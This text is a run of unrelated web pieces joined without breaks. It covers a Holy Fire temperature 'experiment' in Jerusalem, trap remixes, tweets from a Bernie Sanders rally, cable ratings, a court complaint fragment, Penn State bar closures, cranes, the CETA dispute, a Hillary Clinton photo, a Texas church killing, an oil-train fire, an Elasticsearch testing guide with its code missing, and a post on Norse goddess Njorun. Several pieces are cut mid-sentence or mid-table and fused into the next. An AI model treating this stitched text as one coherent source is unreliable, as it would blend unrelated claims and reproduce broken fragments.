Is this miracle? Some people, especially non-Orthodox Christians, have their doubts. But there was no doubt in the minds of the 100-plus pilgrims from Russia that they were witnessing a miracle: that was what had brought them to Jerusalem two days previously, on Friday. In total, thousands of Christians gathered in Jerusalem to light torches and candles from the holy flame on the eve of Orthodox Easter.
Orthodox priest Fr Gennady Zaridze from the Russian city of Voronezh was among them. He was there to receive God’s grace transmitted, as he believes, by the Holy Fire. But he was also there as a member of the union of Orthodox scientists to conduct an experiment: he measured the temperature of the Holy Fire with a very accurate device that uses lasers.
I was near him during the experiment and had the chance to see it for myself, close up. As a Catholic, I admit I was sceptical. But the results were surprising. The temperature immediately after we received the fire from the Patriarch of Jerusalem and All Palestine (around 2:34 pm Jerusalem time on Saturday, April 30) was 42°C, but 15 minutes later, at 2:49 pm, it was 320°C.
For Fr Gennady, these results offer a clear scientific argument for the existence of Divine energy in the flame, emanating from God.
A delegation from the St Andrew foundation, led by Vladimir Yakunin, took the Holy Fire from Jerusalem to Moscow, for the Easter service at the Christ the Saviour Cathedral.
The flame’s journey encompasses dozens of Russian cities, as it will share its light, the light of God’s grace, with believers across the country – from Sevastopol to Yakutsk, in addition to other Orthodox churches abroad.There is already a trap remix of Daft Punk’s new single ‘Get Lucky’ doing the rounds.
That’s right – a single that not only isn’t out yet, but has only been available to hear through fan-shot footage of a trailer video from a festival, and which the whole damn point of seems to be to bring a bit of organic ’70s and ’80s session musician soul back to electronic music, has been trapped out. Turnt up. Whatever you want to call it. This is the world that we live in.
Honestly, we’re not snobs when it comes to this sort of thing. Some of the best dance music ever made has been unlicensed bootlegs, and there will always be room for big dumb festival bangers (just ask Joe Muggs). There’s always gonna be room for big dumb unlicensed trap bootlegs, when they’re done well. But unfortunately, just as with electro in 2006 and Mt Eden in 2010, the phrase “trap remix” in 2013 is synonymous with a particularly leechy method of trying to get big off someone else’s work – and that’s before you get into the whole culture reappropriation issues with using the term. It’s music with no long term goal behind some Soundcloud plays; thief music, as Lee Gamble might put it. The sort of music that we probably shouldn’t publicise, and certainly should be bigger than poking fun at. But we’re gluttons for punishment at FACT, and like moths to a (Waka Flocka) flame, we spent the first half of this week trawling the internet’s trap underbelly for the very worst examples of this phenomenon. Here’s the best – well, worst – of what we found.
Use your keyboard’s arrow keys or hit the prev / next arrows on your screen to turn pages (page 1/10)GREENWICH VILLAGE, MANHATTAN — By the time New York City woke up Wednesday morning, police had completely locked down Manhattan's 10-acre Washington Square Park in anticipation of a Bernie Sanders mega-rally Wednesday night, the first in his final stretch of "Get Out the Vote" events before the New York primary election on April 19.
And by 6:30 p.m., rallygoers and journalists at the park were reporting a turnout in the tens of thousands.
See also:
Sanders was joined onstage Wednesday night by Brooklyn film director Spike Lee; local Arab-American activist Linda Sarsour; actors Rosario Dawson and Tim Robbins; and musician Graham Nash. The bands Vampire Weekend and Dirty Projectors also opened with a short set.
Above is video of Sanders' speech at the event. (We'll keep this post updated with the best-quality footage we can find, so if the video isn't working, check back.)
And below, a curation of our favorite tweets from the evening.
View from 6th floor of Kimmel: Washington Square South & LaGuardia streets closed as people line up for rally pic.twitter.com/YI7HVjOMlZ — gettin giggy with it (@GiannaCollier) April 13, 2016
The Bernie line is definitely reminiscent of trying to get into a music festival. pic.twitter.com/K8KYfQMY84 — NYU Local (@NYULocal) April 13, 2016
Mama we made it!!! pic.twitter.com/Mka5SKb3RG — Brooklyn Patch (@BrooklynPatch) April 13, 2016
I have to say, #berniecouture is pretty epic. Peter Delitiris, 22, of Staten Island. pic.twitter.com/V2De1DsFJd — Danielle Tcholakian (@danielleiat) April 13, 2016
Someone def got weed past the Secret Service #bernbabybern — Danielle Tcholakian (@danielleiat) April 13, 2016
Disembodied megaphone voice keeps yelling "Are you feeling the Bern?" Where is it coming from? Why else would people be here? — NYU Local (@NYULocal) April 13, 2016
That's one way to do it pic.twitter.com/ZMFwaHPwK6 — Brooklyn Patch (@BrooklynPatch) April 13, 2016
Bernie supporter speaking now says shouldn't elect "corporate democrat whores who are beholden to big pharma and the insurance industry." — Danielle Tcholakian (@danielleiat) April 13, 2016
The use of the word "whore" seemed to shock even some of the supporters in the crowd. — Danielle Tcholakian (@danielleiat) April 13, 2016
The Secret Service are on top of the NYU conference hall, where I once attended a'safe rave' while incredibly high. https://t.co/l1vu6hB3iD — Kelly Weill (@KELLYWEILL) April 13, 2016
Bernie bros in the wild, refusing to get down from tiny, precarious tree pic.twitter.com/RjydirjcoX — NYU Local (@NYULocal) April 13, 2016
Someone is #blazing and we can't move or see the band. This feels exactly like a music festival. — NYU Local (@NYULocal) April 13, 2016
The streets of #nyc are packed surrounding Washington Square Park. Every creed, race, age, orientation. #FeelTheBern pic.twitter.com/wP0diusAFA — DJ Neil Armstrong (@djneilarmstrong) April 13, 2016
BernieBro Mark Halperin spotted waiting to enter Bernie rally at Washington Square Park via general public entrance pic.twitter.com/fLYbflvTiO — Michael Tracey (@mtracey) April 13, 2016
From Vampire Weekend not knowing Zeppelin to Tim Robbins declaring: "I protested the Vietnam War in this park!" This rally is #peakbernie — Kasie Hunt (@kasie) April 13, 2016
Park ranger just politely asked a man to stop smoking weed, dude was pretty agreeable about it! Good vibes! — NYU Local (@NYULocal) April 13, 2016
onesies for Bernie pic.twitter.com/zabUJJEkRA — NYU Local (@NYULocal) April 13, 2016
Robbins calls Hillary a war-supporting Democrat who makes decisions "based on which way the wind is blowing" #BernieInNY — YeaYouRite (@YeaYouRite) April 13, 2016
"one of the reasons I'm here is cuz I'm gay - not just gay but a yooooge gay" - guy at Bernie rally — YeaYouRite (@YeaYouRite) April 13, 2016
One @lsarsour with the added smooth points for keeping the Bernie rally schedule rolling on. pic.twitter.com/un4ZM9s7pR — Andrew Jerell Jones (@sluggahjells) April 14, 2016
"We have to wake up on April 19th & hold our heads high. We know, if you make it in NY, you make it anywhere!"-@lsarsour #NewYorkforBernie — Latinos for Bernie (@Latinos4Bernie) April 14, 2016
"Fuck Verizon," Transit Workers Union official says warming up for Bernie Sanders — Luke Brinker (@LukeBrinker) April 14, 2016
Two presences at the rally are impossible to avoid tonight: Occupy Wall Street and the Verizon strike. — NYU Local (@NYULocal) April 14, 2016
Rosario Dawson onstage at the #bernierally now. Says "too many people have died because of the policies of some of the people running." — Joy Reid (@JoyAnnReid) April 14, 2016
"Climate change is making it very clear that we need to move right now. " Rosario Dawson - #FeelTheBern live #WashingtonSquarePark — FeelTheBernCA (@FrankieTease) April 14, 2016
"I'm the designated hype man. You know who's comin up next." — Spike Lee in Washington Square Park. WATCH LIVE: https://t.co/sjyJ1K1jTF — Brooklyn Patch (@BrooklynPatch) April 14, 2016
"Jane and I left New York City when we were kids and it's great to be back!" - Bernie #NewYorkForBernie — Bernie Sanders (@BernieSanders) April 14, 2016
Lots of boos as Bernie states some statistics about income inequality. Specially, he's going after the Walton family. — NYU Local (@NYULocal) April 14, 2016
Despite NYPD bag checks, mid-speech blazing is abundant. — NYU Local (@NYULocal) April 14, 2016
"If I am elected president, I will move to a national ban on fracking." pic.twitter.com/0qHbd8siY8 — Brooklyn Patch (@BrooklynPatch) April 14, 2016
"You don't turn your backs on the people who built your country!" Bernie says as he explains his plan to expand social security. — NYU Local (@NYULocal) April 14, 2016
"Together we will not leave the American Dream to Die"
"Women want the whole damn dollar and they are RIGHT"#Bernie pic.twitter.com/Her4GhyNii — nn99.org (@nn99org) April 14, 2016
Free public university gets tons of cheers, the irony of this speech being in front of NYU is not lost on us. — NYU Local (@NYULocal) April 14, 2016
Bernie's jumping from prison reform to healthcare reform to education reform faster than we can tweet about it. — NYU Local (@NYULocal) April 14, 2016
Bernie: "People say, 'Bernie, you're thinking too big! Your ideas are too...'"
Crowd: "YUUUGE!" pic.twitter.com/I750Ib934z — Brooklyn Patch (@BrooklynPatch) April 14, 2016The finale of “American Horror Story: Hotel” was by far the biggest gainer in Live +3 ratings for the week of Jan. 11-17. The episode more than doubled its 18-49 rating (1.1 to 2.3) with three days of delayed viewing.
“AHS” also moved up several spots in the rankings for the week. It’s second on the chart below*. The same-day Top 25 chart for cable is here.
*(The L+3 list TV by the Numbers received omits ESPN studio shows, including “SportsCenter.” VH1’s “Love and Hip Hop” was also omitted but would rank in the Top 25 below, as its same-day rating was 1.6.)
Below are the Live +3 rankings in adults 18-49 and viewers for Jan. 11-17, followed by lists of the biggest gains in each measure. Unlike Live +7, these rankings include specials as well. Percentage-gain leaders are not reported here.
Top 25 cable shows (including ties) in Live +3 adults 18-49 for Jan. 11-17, 2016
Rank Show Net L+3 18-49 rating 1 CFP CHAMPIONSHIP ESPN 8.3 2 AMERICAN HORROR STORY: HOTEL – F FX 2.3 3 REAL HOUSEWIVES OF ATLANTA BRVO 1.9 3t GOLD RUSH DISC 1.9 3t REPUBLICAN PRES DEBATE FBN 1.9 3t LIP SYNC BATTLE SPK 1.9 7 TEEN MOM MTV 1.8 8 KEEPING UP W/THE KARDASHIANS ENT 1.7 9 PRETTY LITTLE LIARS – P FAM 1.6 10 WWE MONDAY NIGHT RAW (8 p.m.) USA 1.4 10t WWE MONDAY NIGHT RAW (10 p.m.) USA 1.4 12 REAL HOUSEWIVES OF BEV HILLS |
girl in a car, with a girl in a bathroom who has a distinctive tattoo on her body, and with a girl in an unknown bedroom space.”
Epperson, who told agents that he downloaded Japanese pornography and “liked girls who dressed gothic or punk style,” allegedly wrote to a Facebook friend in early-February that he had flown to San Diego “for a Japanese girl.” He also told the FBI that he was in the process of joining the Navy “so that he could travel to Japan and see the world,” according to the July 29 criminal complaint.
This desire to serve country, however, will have to wait until after the conclusion of the criminal case against Epperson, who is being held without bail in an Indiana lockup. If convicted of traveling across state lines for the purpose of having sex with a minor, Epperson faces a maximum of 30 years in prison. (5 pages)The number of bars that will remain open this Saturday is dwindling, as Onward State has learned that five more establishments intend to close on State Patty’s Day.
According to multiple members of the Hotel State College wait staff, Indigo, Zeno’s, the Zeno’s bottle shop, Pickles, and Chumley’s will be closed on March 1.
The news comes on the heels of announcements that multiple other downtown bars will be closed during the 24-hour period. Per its owner J.R. Mangan, Cafe 210 West will be closed on the holiday, as will Levels, Lion’s Den, The Brewery, Phyrst, and Local Whiskey.
This is the second year that Penn State is offering to pay bars to close on State Patty’s Day. Last year, the university used revenues in campus parking operations on previous State Patty’s Days to cover the incentive, according to Penn State Spokesman Bill Zimmerman. This year, the university is offering a four-tier compensation system to individual establishments based on occupancy levels:
— Businesses with occupancy of 350 or more: $7,500
— Businesses with occupancy from 250-349: $6,000
— Businesses with occupancy from 100-249: $5,000
— Businesses with occupancy levels less than 100: $2,500
In addition to the bar closures, a no-guest policy has been instituted for sorority floors during State Patty’s Day weekend, and some apartment buildings will not allow any parties.
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East Renovation Continues With Approval For Sproul, Geary Halls Penn State’s Board of Trustees approved the next phase of East Halls renovations at its meeting Friday, setting the stage for construction to begin on Sproul and Geary Halls.Nature got it right with the cranes. They have been around since the Eocene, which ended 34 million years ago. They are among the world’s oldest living birds and one of the planet’s most successful life-forms, having outlasted millions of species (99 percent of species that ever existed are now extinct). The particularly successful sandhill crane of North America has not changed appreciably in ten million years. There are 15 Gruidae species, and in all the human cultures that experience the birds, they are revered.
Related Content Eco-Celebrity Crane Inspires Wetland Protection in Taiwan
In my travels I have encountered cranes on three continents. Tibet, November 1995: Driving along the Yarlung River, we spot a flock of black-necked cranes in a marshy flat, but when we try to sneak closer on foot with our cameras, they see us from a long distance and, slowly lifting themselves up into the air on their enormous wings, take off. There are only 6,000 or so black-necks. These are making their way south, to spend the winter foraging on agricultural residue in Bhutan. Three hundred black-necks return each December to Phobjikha Valley, where in the morning and evening, as they take off to eat and dance and return for the night, they circle repeatedly around a monastery called Gangtey Gompa. The local Bhutanese believe them to be reincarnations of departed monks, and have for centuries performed elegant crane dances, tilting and sweeping long white wings attached to their arms. Cranes are the Bolshoi of animal dance. They dance at the drop of a hat, for all kinds of reasons, not just courtship.
Neolithic peoples in Turkey in 6500 B.C. imitated the dances of cranes as part of marriage rituals. Dance is one thing cranes are credited by many societies with giving us. Another is language, perhaps because they are so vocal and a single crane’s calls, amplified by its saxophone-shaped trachea—the windpipe in its long neck—can carry a mile. And unlike geese, with their disciplined, purposeful vees, cranes fly in loose, drifting, chimeric lines that are constantly, kaleidoscopically coming apart and forming, the ancient Greeks imagined, many letters. Crane hieroglyphs were applied to the Temples of Karnak 4,000 years ago.
In 1990 my wife and I were married in her village in southwestern Uganda. The festivities went on for three days, and all the while a couple of dozen gray-crowned cranes, with regal bonnets of sun-shot yellow feathers, were pecking and padding around in the adjacent savanna. The gray-crowned crane is my wife’s clan totem, so their presence was auspicious. Once common all over East Africa, this species is taking a terrible toll from local poachers who are selling them to the international pet trade. Only 30,000 gray-crowned cranes are left in all of Africa.
The sandhill cranes of North America are the most abundant crane species. Migrating sandhills come in three basic sizes—greater, lesser and the mid-size Canadian. I’ve seen the resident sandhills in Florida, three of them pecking for worms on a lawn outside Orlando, and several members of another resident population in Mississippi, which has just 25 breeding pairs. The Eastern population has rebounded dramatically from near extinction in the 1930s and is now up to more than 80,000. I saw a couple of big sandhills on the north bank of the St. Lawrence River in eastern Quebec, just above the mouth of the Saguenay River, a few summers ago.
Every year 400,000 to 600,000 sandhill cranes—80 percent of all the cranes on the planet—congregate along an 80-mile stretch of the central Platte River in Nebraska, to fatten up on waste grain in the empty cornfields in preparation for the journey to their Arctic and subarctic nesting grounds. This staging is one of the world’s great wildlife spectacles, on a par with the epic migrations of the wildebeest and the caribou. It takes place in three waves of four to five weeks each, beginning in mid-February and ending in mid-April, during which birds that arrive emaciated from wintering grounds in Texas, New Mexico, Arizona and Chihuahua, Mexico, gain 20 percent of their body weight.
It usually peaks in the last week of March, which was the case in 2013. Wildlife photographer extraordinaire Melissa Groo and I hit it just right.
***“Thinly veiled threats” from corporations.
By Don Quijones, Spain & Mexico, editor at WOLF STREET.
Visibly shaken, as Reuters put it, Canadian trade minister Chrystia Freeland walked out of EU trade negotiations in Belgium on Friday evening, lamenting that the EU is “incapable of reaching an agreement – even with a country with European values such as Canada.”
A big trade deal that had taken years to negotiate, mostly in total secrecy, had just collapsed. So how in the world did such a mega screw-up happen?
In Europe, all that is needed for the Comprehensive Economic Trade Agreement (CETA) with Canada to come into effect, “provisionally” (in EU double-speak, more or less irrevocably), before being passed to national parliaments to vote on, is for the governments of the EU’s 28 Member States to sign along the dotted line.
This could usher in a new age of corporate domination, for CETA, just like its sister deals TTIP, TPP and TiSA, is not really a trade deal at all; it’s an investment rights deal that will effectively neuter the ability of national elected governments to regulate in the interests of their electorate.
Yet almost all of the EU’s national governments are firmly on board. Even the UK government has promised it will sign the deal, even as it prepares to negotiate a clean break from the EU. In Spain, there is no elected government, yet Rajoy’s caretaker administration has assured Brussels that it, too, will happily lend its signature to the agreement.
But the European Commission needs the signatures of all 28 nations. And to its mounting frustration, the Belgian region of Wallonia refuses to sign the agreement, citing a host of social, political and economic reasons, including the inclusion of an Investment State Dispute Settlement (ISDS) clause and the possibility of non-Canadian corporations using the deal to gain greater access to EU markets. As long as the region of 3.5 million refuses to sign along the dotted line, Belgium’s federal government’s hands are tied.
Wallonia’s resistance has already prevented EU trade ministers from gaining unanimous support for the deal at a meeting in Luxembourg on October 18, as was originally planned. Senior Eurocrats and members of the Canadian government are understandably furious. So, too, are the hundreds of business lobby groups that kindly helped draft the trade agreement.
“Nobody would understand if it were not possible now, after so many efforts,” said an exasperated Martin Schulz, the EU Parliament chief.
“The problems go beyond CETA,” warned the president of the European Council, Donald Tusk. “If we are not able to convince people that trade agreements are in their interest (Ha!), that our representatives negotiate the FTAs to protect people’s interests (Ha Ha!), we will have no chance to build public support for free trade, and I’m afraid that it means that CETA could be our last free trade agreement.”
Predictably, Walloon President Paul Magnette has come under intense pressure to change his mind on CETA, after Wallonia’s regional legislature rejected the deal on Oct. 14. The Canada European Roundtable for Business promptly sent Magnette a “bluntly worded letter,” while Canada’s Trade Minister Chrystia Freeland dispatched Pierre Pettigre, a former trade minister (and current director of several Canadian mining interests) to meet with Magnette.
After the meeting with Pettigrew, Magnette told reporters that “the pressures are very strong.” He also complained that his region had faced “thinly veiled threats” from corporations before the Oct. 18 trade ministers meeting in Luxembourg. None of which should come as a surprise given the stakes involved. As Tusk said, “to have the deal between over 500 million EU citizens and 35 million Canadians fall apart over the objections of a region of 3.5 million after seven years of talks would undermine the credibility of the EU as a whole.”
It would also deliver yet another heavy blow to the designs and aspirations of the global corporatocracy, which has already had to suffer the ignominy of failing to get the Transatlantic Trade and Investment Partnership (TTIP) passed into law before the end of President Obama’s second term, due to the sheer scale and intensity of public opposition to the deal in Europe. Even the Trans-Pacific Partnership, which has already been signed but not ratified, is beginning to face mounting opposition in countries like Japan, Vietnam, and the US.
The biggest concern in Europe is over the much greater role that private arbitration will play in a post-CETA world. It would effectively grant corporations full sovereignty rights – including the right to sue any government that threatens their ability to earn profits at just about any social, human, or environmental cost. The difference between CETA and its sister agreements TPP and TTIP is that instead of investor-state dispute cases being heard in private arbitral tribunals, they would be heard in a permanent international Investment Court System – ICS – with real judges and slightly more transparency.
But the end result would be more or less the same: punitive legal fees for national governments and billions of euros in damages drained from public coffers. That’s not to mention the inevitable rise in regulatory chill, as governments refrain from passing regulatory measures in the public interest due to the threat of being sued by private foreign investors. Once such a system is in place, each and every investment that foreign corporations make in a member country will effectively be backstopped by that government (and by extension, its citizens and taxpayers); it will be too-big-to-fail writ on an unimaginable scale.
And yet, in the most perverse of ironies, it is a system that appears to be almost universally endorsed by our political leaders, who are effectively voting themselves out of a job. It is an irony that was not lost on the Spanish arbitrator Juan Fernandez-Armesto, who had the following to say:
When I wake up at night and think about arbitration, it never ceases to amaze me that sovereign states have agreed to investment arbitration at all […]. Three private individuals are entrusted with the power to review, without any restriction or appeal procedure, all actions of the government, all decisions of the courts, and all laws and regulations emanating from parliament.
If CETA is signed, it won’t be just Canadian investors and companies who will be able to sue EU governments. As the second edition of the report Making Sense of CETA argues, 81% of US enterprises active in the EU (about 42,000 firms) would conceivably fit the definition of a Canadian “investor” with recourse to ISDS under the EU-Canada agreement:
US companies are already known for this kind of aggressive exploitation of the ISDS system. Should the provisions on investment protection in CETA survive, if or when the agreement is ratified, there would be virtually no need to incorporate them in the Transatlantic Trade and Investment Partnership (TTIP).
In other words, it would be game, set and match for the global corporatocracy. The only thing stopping that from transpiring is the government of the tiny region of Wallonia in the small country of Belgium. By Don Quijones, Raging Bull-Shit.
The Alliance is in place. Read… Who’s Powering the War on Cash?
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Margot Gerster, 30, told the New York Post she has received death threats since the picture went viral.
When the Post contacted her she simply replied 'yes' when asked about the threats but said she didn't want to talk about it anymore.
She also told the paper: 'This story needs to go away. It got a lot of positive feedback from a lot of people, but I don’t want this to add on to this (blowback), I don’t want to fuel the fire.'
Margot Gerster (left) told the New York Post she has received death threats since the picture of her chance meeting with Hillary Clinton in the woods after the Democrat's election defeat
Gerster didn't say if she had reported the threats to police.
Police in Chappaqua, where the picture was taken, had not had a report from Gerster.
Threats may have steamed from rumors that Gerster 'faked' the encounter in an attempt to boost Clinton's public image after it emerged it was not the first time the pair had met.
But Gerster, from Westchester, New York, insisted the meeting on a Chappaqua hiking trail - the day after the shock result - was a compete coincidence.
'It was very random. In 100,000 years, I would have never expected running into Hillary Clinton in the woods,' she said.
'It was a very positive experience for me and a lot of other people. That's why I posted it.'
She confirmed she had met the politician before when her mother hosted a fundraiser in Clinton's honor at Crabtree's Kittle House in Chappaqua.
Gerster said she was aged 14 or 15 when she was pictured posing for a photo inside the restaurant, which is one of the politician's favorites.
It was this picture that prompted speculation the meeting in the woods may have been set-up.
But the mother dismissed claims she was a long-time ally of the Clintons who had orchestrated the heartwarming snap.
'If I were long-time friends of the Clintons, I wouldn't be keeping that a secret. I'd be bragging about it to everyone I know,' she said.
She confirmed she had met the politician before when her mother hosted a fundraiser in Clinton's honor at Crabtree's Kittle House in Chappaqua
The picture was taken when Gerster was out hiking with her young daughter in the upstate New York town of Chappaqua - where the Clintons have a home.
Clinton was said to have been out walking her dogs with former president Bill Clinton, when Gerster spotted them.
The former first lady was beaming from ear to ear in the picture and appeared to have had the weight of the world lifted from her shoulders.
In her caption, Gerster wrote that she was'so heartbroken' after the Democrat's loss.
'I've been feeling so heartbroken since yesterday's election and decided what better way to relax than take my girls hiking,' Gerster wrote.
The chance encounter gained national media attention as it was the first time Clinton had been photographed after losing the election (pictured in Chappaqua on Election Day)
'So I decided to take them to one of (our) favorite places in Chappaqua. We were the only ones there and it was so beautiful and relaxing.
'As we were leaving, I heard a bit of rustling coming towards me and as I stepped into the clearing there she was, Hillary Clinton and Bill with their dogs doing exactly the same thing as I was.
'I got to hug her and talk to her and tell her that one of my most proudest moments as a mother was taking Phoebe with me to vote for her.A car that was crashed into the Greater Sweethome Missionary Baptist Church sits in place in Forest Hill, Texas, Monday, Oct. 29, 2012. Forest Hill Police Chief Dan Dennis says the pastor of the church is dead after the driver of the car crashed into the building and began to assault him. Dennis said officers arrived Monday afternoon at the Greater Sweethome Missionary Baptist Church to find an assault in progress. Dennis says the suspected attacker also later died shortly after being detained. (AP Photo/LM Otero)
FOREST HILL, Texas (AP) — A North Texas pastor was killed Monday by an attacker who rammed a car into a church wall, chased the pastor and beat him with an electric guitar, police said.
Police in Forest Hill, a suburb of Fort Worth, did not say why the unidentified suspect attacked the Rev. Danny Kirk Sr., the founding pastor of Greater Sweethome Missionary Baptist Church.
The suspect, who police used a Taser to subdue, also died a short time after being taken into custody.
Forest Hill Police Chief Dan Dennis said the suspect drove his car into a church wall before noon Monday, apparently on purpose. The suspect got out of the car and began to attack the pastor in the parking lot before chasing him into the church, Dennis said. The church secretary hid and called 911, Dennis said.
Police arrived to find the suspect assaulting Kirk with an electric guitar that they believe was already inside the church, Dennis said. An officer used a Taser on the suspect, handcuffed him and put him in the back of a patrol car.
By then, Kirk had died, Dennis said. A maintenance worker who tried to help Kirk was injured and taken to an area hospital. His condition was unknown.
Dennis said the suspect was found unresponsive shortly after being detained and was pronounced dead at a local hospital.
Dennis said he didn't know if the suspect knew Kirk, attended the church or why he might have attacked the pastor.
Hours after the incident, hundreds of people remained outside the church, where crime-scene tape was wrapped around a small statue of Jesus near the wrecked car. Some hugged each other and cried, while others recalled Kirk as a dedicated minister who also had a bubbly personality and knew the all names of the several-hundred church members.
"He really was concerned about our souls," Montoya McNeil, a member for eight years, said as she wiped away tears. "You looked forward to being here.... I'm not asking God why, because I know where he (Kirk) is, but we won't get those big bear hugs and those great sermons anymore."
According to former Forest Hill mayor James Gosey, Kirk started the church years ago in a strip mall before building the red-brick church.
Kirk was also an unofficial volunteer chaplain who occasionally counseled members of a local high school football team, Fort Worth school district spokesman Clint Bond said.
"Our hearts are heavy right now," said Reginald Wilson, an associate minister at the church.A crude oil train caught fire in Oregon on Friday after derailing near the Columbia River in the town of Mosier.
Local schools were evacuated and photos from the scene showed plume of smoke rising above the trees. A total of eight cars of the Union Pacific train filled with fuel had derailed and only had caught fire, a Oregon Department of Forestry spokesperson told KATU News. State officials said a portion of the interstate highway had been closed.
Energy companies have come to rely on the country’s railroad network to transport crude oil in response to the fracking boom of the last decade. The oil exploration method allows oil engineers to dig up oil in locations that would have been unthinkable just years ago, and oil trains are the most efficient way to get natural resources from the field to the refinery.
Activists say these trains pose a risk to the millions who live along the tracks where crude oil trains travel. Train tracks and tanker cars weren’t built to accommodate trains carrying loads of heavy crude oil, making the trains more likely to derail. The deadliest incident killed 47 people in the town of Lac-Mégantic, Quebec in 2013.
Courtesy od Stephanie Bowman
“History has repeatedly shown just how deadly and dangerous oil train crashes can be,” Sierra Club campaigner Lena Moffitt said Friday. “Simply put, transporting oil by rail—or by any method—is a disaster waiting to happen.”
Union Pacific did not immediately return a request for comment.
Write to Justin Worland at [email protected] to set up integration specs for Elasticsearch in Rails
Michal Krzywinski Blocked Unblock Follow Following May 18, 2017
I was recently tasked with replacing an existing Postgres based search with Elasticsearch to increase search speeds over millions of documents. The task required parity between both searches as well as additional future features such as supporting search-as-you-type. Having used Elasticsearch in Rails projects before I have come to like the quick feedback loop given by writing full integration tests from ETL to search result. This is my appraoch.
Before I delve into the setup, there is something I wanted to note. By default I have ES running on my machine, I have seen people create test clusters on demand on different ports, but for me this was not necessary. I just create a test index and use that, then get rid of it after the specs have run. Your mileage may vary with this approach.
Step 1. Some setup
First you’ll need the official elasticsearch gem if you don’t have it already. Set it up to connect to your ES instance, by default this should work:
Next you’ll want to have the ability to create new indexes, delete indexes and to flush indexes. For this I have a very basic and handy helper.
Step 2. Setup your index, mapping & load test data
First you’ll want to create a test index with your pre-defined mapping, you can read more about mapping in ES here. The mapping is important as it tells ES how to analyze and index your documents, which has significant effect on your search speed, index size, etc. I like to write my mapping definitions as hashes in ruby and pass them to the index on index creation. Here is an example of a very simple mapping:
You can now setup your index with your mapping in one go by running the following:
Great! Now you have a test index ready to take some data. If like me, you are creating your own ETL, you want to start by generating some data in your database for the ETL to read. If you aren’t testing an ETL you could simply load data directly into ES by posting to your index; either in batches or individually. I recommend reading more about this in the ealsticsearch-api README. Whichever approach you use, index your documents in ES now.
There is one more extremely important step before you’re ready to test, flush the index! You have to do this to ensure the data you loaded is there when you search it as ES asynchronously indexes data and you could end up with flaky specs.
Step 3. Test your search
At this stage you’ll have data loaded into your index and you’ll want to start covering all sorts of search scenarios, while iterating on your search query. Presumably you will have some class which accepts your search params and generates an ES query out of it. Writing queries as ruby hashes comes in very handy at this point as you can pass those along to your instance of Elasticsearch::Client and it will handle them nicely. Hashes are much nicer to work with than raw JSON, believe me.
This is where you should start seeing the benefit of setting up tests as you’ll be able to quickly iterate over changes to your query. You’ll have the ability to make adjustments to your mapping and any custom analyzers you might have. You’ll also have the chance to cover multiple edge cases. This is especially useful when your production index has millions of documents and testing changes against your real dataset just takes too long. Indexing millions of documents can take hours, ain’t nobody got time for that!
Step 4. Clean up after yourself
So you’ve tested your query, covered all of your edge cases and your happy paths. Now you just need to clean up after yourself by deleting the test index. That is simply done like so:
Running ES on circle ci
We run our projects on circleci at carwow, if you do as well and you intend on running your integration tests on there you’ll need to add ES to your circle.yml. Circle supports installing different versions of ES which you can do by replacing the version in the gist below with the one you’re using. We are using 5.3.0 at the time of writing, so we have added this to the circle.yml:
Final thoughts
For efficiency’s sake I tend to run the index creation only once before all of my specs within a context and delete my index after. This means that I ensure that my test data covers all of my test needs. This isn’t always possible, so you may need to run the setup in a before :each block, keep in mind that there will be overheads and your tests will be slower.
Here is an example of all of the above put together:
Questions? Comments? Give me a shout below and I’ll be happy to answer.(This post is adapted from material in my new book on Njord and Skadi.)
One of the great puzzles of Norse mythology is the problem of Nerthus and Njord. The Germanic goddess Nerthus, whose cult is described by the Roman historian Tacitus, in the first century AD, is not attested in any other source, but her name is linguistically the same as that of the Scandinavian sea-god Njord, who appears in sources roughly 1 000 years later.
Since Snorri tells us in the Ynglinga saga that Njord had a sister who was his wife, the mystery seemed solved: Nerthus was his sister, just as Freyja was Freyr’s.
However, there have always been dissenting voices, including that of Richard North, who suggested that Tacitus had got it wrong, and Nerthus was a male god. Others have suggested that Nerthus and Njord were the same deity, with a sex-change along the way (Turville-Petre), or different sexes in different places (Dumézil) or one, bisexual, deity (Simek).
All of which leaves us with a question. Whether or not we accept that Nerthus was a deity independent of Njord, who was his sister? And why doesn’t she have a name?
Njorun
In the December 2012 issue of RMN Newsletter, Joseph S. Hopkins puts Njorun forward for the job. He points out that she’s somewhat underemployed, as she only appears a few times in the sources, mainly in kennings.
In Skaldskaparmal she appears in a list of goddesses:
Now shall all the Asyniur be named. Frigg and Freyja, Full and Snotra, Sigyn and Vor. Gerd and Gefiun, Gna, Lofn, Skadi, Iord and Idunn, Ilm, Bil, Niorun.
(trans. Faulkes)
and in Alvissmal, in a kenning for night:
‘Night it’s called among men, and darkness by the gods,
the masker by the mighty Powers,
unlight by the giants, joy-of-sleep by the elves,
the dwarves call it dream-goddess.’ [Draum-Njörun]
(Larrington’s translation)
Njorun is used as in kennings for “woman” in poetry by Kormákr Ögmundarson, Hrafn Önundarson and Rögnvaldr Kali, and also in verses in Íslendinga saga, Njáls saga and Harðar saga. Also, eid-Njorun or fire- Njorun as a kenning for “woman” appears in verses by Gísli Súrsson and Björn Breiðvíkingakappi, and hól-Njorun in a stanza by Björn hítdælakappi.
In Gislis saga Súrssonar he relates a dream where a woman appeared to him, for whom he uses many kennings, including eid-Njorun:
I thought in my sleep that the Sjofn of the silverband [woman, good dreamwoman] stood weeping over me, this Gerdr of the robe [woman, good dreamwoman] had wet eyelashes, and the noble Njorun of the wave-fire [woman, good dreamwoman] bound my wounds very quickly. What do you think was in that for me?
(ch. 38: Olsen’s translation)
In light of this, some have seen Njorun as a goddess of dream and night. One website states that she is a goddess of dream, especially honoured by the dark-elves in Svartalfheim, and that her hall is a good place for prophetic dreamwork.[ Of course, this is UPG, but it could connect up to the general feeling in Norse and Germanic cultures about the prophetic and intuitive abilities of women.
The name Njorun sounds a lot like Njord, and there have been attempts to link them before. Jan de Vries thought Njorun might be the Scandinavian version of Nerthus. Finnur Johnsson thought it might be a name for the earth-goddess, and Alfred Morey Sturtevant posited “a possible link among Njorun, *Nerþuz, and Njorðr by way of *ner-.” (Sturtevant: 167.)
The Linguistic Evidence
The connection Njorun – Nerthus is an easy one to make, because they “sound alike” and it woudld solve a lot of problems. Some have made the jump already; in Boar, Birch and Bog by Nicanthiel Hrafnhild presents Njorun as one of the faces of Nerthus, perhaps even her real name. A lot of his information is UPG, although he does make some interesting points (quoted from p. 16) on linguistic grounds:
The common Njör- stem fits the naming conventions seen elsewhere among the Vanir (Frey/Freyja, Ullr/Ullin, Njörð/Jörð).
